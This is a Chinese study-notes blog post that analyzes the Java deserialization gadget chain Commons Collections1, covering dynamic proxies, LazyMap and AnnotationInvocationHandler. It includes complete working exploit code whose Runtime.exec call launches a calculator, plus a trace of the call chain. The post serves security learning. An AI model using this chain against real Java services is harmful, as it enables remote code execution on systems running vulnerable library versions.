JAVA反序列化学习笔记2.Commons Collections1分析

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: JAVA反序列化学习笔记2.Commons Collections1分析

0x01.前言

在学习完TransformedMap后来分析Commons Collections1就比较好理解了,ysoserial中CC1使用到了LazyMap,最后还是通过AnnotationInvocationHandler来触发,同上篇中我们学习的TransformedMap相比较,多了一个动态代理的知识点,在JDK版本上在1.8(8u71)后同样无法触发,在触发方式上TransformedMap为setValue,LazyMap为get一个没有的key值,其他方面并无太大的不同。另外文章中有理解的不到位的地方请表哥们请多指教~~~

当前触发版本:commons-collections 3.2 JDK1.7u21

0x02.动态代理学习

举一个例子来说明代理,现在有一个A对象,如果想不在修改原有代码的基础上要在函数执行前后加日志功能,只能使用代理去实现。 通过这个A对象创建一个A对象的代理对象,通过访问代理对象去调用A对象的某个函数,这样在创建代理对象时可以手动写一些日志功能然后再去调用A对象的这个函数,这样就完成了功能的实现。其实就是通过建造一个代理类去访问我们不能访问的对象,我们不去直接访问A对象,而是通过A对象的代理对象去访问。

静态代理

先用静态代理实现,静态代理每一个代理类都需要手动创建文件,如果目标类多的话代码量庞大,所以会需要动态代理根据下方代码可以看到 代理类接收的RunTest对象是写死的,如果B类也需要日志功能,那只能再创建一个对应的静态代理类,接收的对象为B,如果类多的的话,需要为每一个类创建对应的代理类。(这里我发现可以用多态实现...只要实现统一的接口,那只用一个代理类就行了,也算是一种实现方法...)

例子:

public class RunTest {
    public void run(){
        System.out.println("开始跑步");
    }
}
/**
* 静态代理类
*/
public class RunTestProxy {
    RunTest runTest;
    public RunTestProxy(RunTest runTest){
        this.runTest = runTest;
    }
    public void invoke(){
        System.out.println("日志记录");
        runTest.run(); //调用原有对象的run方法
    }
}
public class Test {
    public static void main(String[] args) {
        RunTest runTest = new RunTest();
        RunTestProxy proxy = new RunTestProxy(runTest); //获取代理对象
        proxy.invoke();
    }
}

img

动态代理

在程序执行过程中,使用jdk的反射机制,创建代理类对象,并动态的指定要代理的类。 这里我们只说基于JDK实现动态代理,主要通过InvocationHandler,Method,Proxy来实现动态代理。InvocationHandler接口,需要创建实现类实现接口,重写invoke方法,代表你的代理类需要做什么,所有操作都写在invoke方法中。Method,需要通过反射去调用原本对象的方法Proxy,通过该类动态创建代理对象 首先会创建一个实现InvocationHandler接口的处理器,之后通过Proxy的newProxyInstance函数创建一个代理对象,绑定之前创建的处理器对象,最后通过这个代理对象去调用目标类的函数,调用该函数之前会调用绑定代理器中的invoke函数。

例子:

实体类

public interface RunFather {
    public void run();
}
public class RunTest implements RunFather{
    @Override
    public void run(){
        System.out.println("开始跑步");
    }
}

动态代理处理器

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
/**
* 动态代理处理器,实现InvocationHandler接口,重写invoke函数,表示你的代理类要做什么
*/
public class RunTestProxy implements InvocationHandler {
    private Object target;
    /**
     * 动态代理的目标对象是活动的
     * 传入的是哪个对象,调用的就是哪个对象的方法
     * @param target
     */
    public RunTestProxy(Object target){
        this.target = target;
    }
    /**
     * 代理器要实现什么功能通过invoke函数实现,最后通过反射调用原目标类方法
     * 每次通过代理对象调用方法时,会先自动调用invoke函数
     */
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("日志输出");
        Object o = method.invoke(this.target,args); //调用target对象的某函数
        return o;
    }
}

通过Proxy创建某类的代理对象

public static void main(String[] args) {
    //创建目标表对象
    RunTest runTest = new RunTest();
    //创建InvocationHandler对象,代理处理器
    InvocationHandler handler = new RunTestProxy(runTest);
    //通过Proxy创建代理对象,注意代理返回的必须是接口
    //第一个参数为目标对象的类加载器
    //第二个参数为目标对象实现的接口
    //第三个参数为绑定的InvocationHandler对象,执行目标对象方法时,会触发处理器的invoke方法,传入要执行函数的Method对象,这里必须返回接口类型
    RunFather run = (RunFather) Proxy.newProxyInstance(runTest.getClass().getClassLoader(),
            runTest.getClass().getInterfaces(),
            handler);
    //调用run方法是会先调用handler对象的invoke函数
    run.run();
}

img

在底层的实现就是JDK会通过Proxy类动态创建一个代理类,其中有一步会先获取这个代理类的class文件的byte[]数组,通过这个数组我们可以还原JDK创建的代理类代码如下

imgimg

因篇幅问题截图只截了一部分,查看父类Proxy可以看到super.h就是我们创建的InvocationHandler这里手动调用了该对象的invoke函数,对应我们创建的invoke函数。所以在设置了代理类后访问方法时会先调用绑定的invoke函数。

0x03.LazyMap链分析

先来了解一下LazyMap类,在对Map集合进行get操作时,如果key不存在,则调用transform方法进行一些特定的设置,并将返回值作为key的值写入Map中。LazyMap链构造命令执行和TransformedMap相同,都是利用ChainedTransformer来构造利用链,区别在于触发点不同,LazyMap在Map集合进行get操作时并且并无当前Key时触发。

LazyMap类位于

org.apache.commons.collections.map.LazyMap

来看下LazyMap的主要几个方法代码。

//通过decorate方法获取LazyMap的对象,传入一个设置好的Transformer
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
//不同包只能通过decorate方法获取其对象
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}
//在Map进行get操作时
public Object get(Object key) {
    //如果Key存在,则直接返回key的值
    if (!this.map.containsKey(key)) {
        //如果Key不存在,调用设置好的Transformer对象的transform函数
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    } else {
        return this.map.get(key);
    }
}

所以代码也很简单。获取lazymap对象后get一个没有的key即可触发

Transformer[] transformers2 = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers2);
Map map = new HashMap();
map.put("value", "test");
Map lazymap = LazyMap.decorate(map, transformerChain);
lazymap.get("sss");

会直接触发计算器

接下来还是寻找反序列化口和触发get操作的类

0x04.AnnotationInvocationHandler触发反序列化

还是通过AnnotationInvocationHandler来触发

这里就需要涉及到反射的知识了。 来看Invoke函数,在设置代理对象后访问其任意方法,都会触发绑定处理器的Invoke方法,而invoke方法中对memberValues进行了get操作,而memberValues我们可控为一个lazyMap,正好触发其get方法,而var4的值是执行的方法名,我们构造的Map集合中无此key即可触发

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName(); //获取要执行的方法名
    Class[] var5 = var2.getParameterTypes();
    //执行的方法如果为equals则进入if
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;
        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            //执行的方法不为上面的方法后,则会调用memberValues的get函数
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }
                return var6;
            }
        }
    }

这时候再来看其中的readObject函数,如果memberValues是我们构造的一个代理对象,在反序列化时会调用其entrySet函数,这样就会触发invoke方法,造成漏洞

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;
    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        return;
    }
    Map var3 = var2.memberTypes();
    //在对其memberValues调用entrySet方法时会触发Invoke函数,触发漏洞
    Iterator var4 = this.memberValues.entrySet().iterator();
    //setValue这里我们不需要注意,为TransformedMap触发
    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

明确了这些后我们要做的就是获取一个Map的代理对象,并绑定AnnotationInvocationHandler这个处理器,所以构造代码为

//还是先通过反射获取AnnotationInvocationHandler对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Target.class, lazymap);
//绑定设置好的处理器对象,并获取Map的代理对象,这样对该Map调用任何方法,都会先调用处理器也就是AnnotationInvocationHandler的invoke方法
Map mapProxy = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler);
//这里思考一下,为什么还要设置一个新的AnnotationInvocationHandler对象呢?
//因为本质我们还是需要通过AnnotationInvocationHandler进行反序列化操作时触发漏洞,而上面创建的handler对象是作为代理处理器绑定到代理对象中的
//并不是我们需要反序列化的对象,所以需要将获取的Map代理对象作为值传入,再次创建AnnotationInvocationHandler对象
//这样在其反序列化时,memberValues就是设置好的Map代理对象,在调用entrySet函数时,又会调用设置好的AnnotationInvocationHandler的invoke方法
Object instance = ctor.newInstance(Target.class, mapProxy);

经过上面的分析大家应该很清楚了,如果还有些迷糊可以最后看一下触发链。下面是完整的利用代码

Transformer[] transformers2 = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers2);
Map map = new HashMap();
map.put("value", "test");
Map lazymap = LazyMap.decorate(map, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Target.class, lazymap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler);
Object instance = ctor.newInstance(Target.class, mapProxy);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();

触发链:

->ObjectInputStream.readObject()
    ->AnnotationInvocationHandler.readObject()->触发AnnotationInvocationHandler对象的readObject方法
        ->Map(Proxy).entrySet()->调用设置好的Map代理对象的entrySet方法
            ->AnnotationInvocationHandler.invoke()->触发对应的代理器的invoke方法
                ->LazyMap.get()->触发lazymap的get方法
                    ->ChainedTransformer.transform()->进行for循环调用Transformer对象数组的transform方法
                       -> ConstantTransformer.transform()->获取Runtime.class对象
                       -> InvokerTransformer.transform()
                            ->Method.invoke()
                            ->Class.getMethod()->会获取Method对象,要调用的方法是getRuntime
                        ->InvokerTransformer.transform()
                            ->Method.invoke()
                            ->Runtime.getRuntime()->通过Method对象调用Runtime.getRuntime(),获取了Runtime对象
                        ->InvokerTransformer.transform()
                            ->Method.invoke()
                            ->Runtime.exec()->通过Runtime对象调用exec方法

注意:在JDK1.8(8u71)后对AnnotationInvocationHandler代码进行了修改,同TransformedMap一样,在P牛的Java安全漫谈中也提到过,是因为修改后不在使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,所以无法触发。

img

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
1月前
|
存储 Java
【编程基础知识】 分析学生成绩:用Java二维数组存储与输出
本文介绍如何使用Java二维数组存储和处理多个学生的各科成绩,包括成绩的输入、存储及格式化输出,适合初学者实践Java基础知识。
67 1
|
16天前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
53 5
|
16天前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
33 2
|
20天前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
17天前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
12 2
|
1月前
|
Java
让星星⭐月亮告诉你,Java synchronized(*.class) synchronized 方法 synchronized(this)分析
本文通过Java代码示例,介绍了`synchronized`关键字在类和实例方法上的使用。总结了三种情况:1) 类级别的锁,多个实例对象在同一时刻只能有一个获取锁;2) 实例方法级别的锁,多个实例对象可以同时执行;3) 同一实例对象的多个线程,同一时刻只能有一个线程执行同步方法。
18 1
|
1月前
|
存储 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第9天】在Java的世界里,对象序列化是连接数据持久化与网络通信的桥梁。本文将深入探讨Java对象序列化的机制、实践方法及反序列化过程,通过代码示例揭示其背后的原理。从基础概念到高级应用,我们将一步步揭开序列化技术的神秘面纱,让读者能够掌握这一强大工具,以应对数据存储和传输的挑战。
|
1月前
|
小程序 Oracle Java
JVM知识体系学习一:JVM了解基础、java编译后class文件的类结构详解,class分析工具 javap 和 jclasslib 的使用
这篇文章是关于JVM基础知识的介绍,包括JVM的跨平台和跨语言特性、Class文件格式的详细解析,以及如何使用javap和jclasslib工具来分析Class文件。
41 0
JVM知识体系学习一:JVM了解基础、java编译后class文件的类结构详解,class分析工具 javap 和 jclasslib 的使用
|
20天前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
18 0
|
21天前
|
存储 Java 编译器
[Java]基本数据类型与引用类型赋值的底层分析
本文详细分析了Java中不同类型引用的存储方式,包括int、Integer、int[]、Integer[]等,并探讨了byte与其他类型间的转换及String的相关特性。文章通过多个示例解释了引用和对象的存储位置,以及字符串常量池的使用。此外,还对比了String和StringBuilder的性能差异,帮助读者深入理解Java内存管理机制。
18 0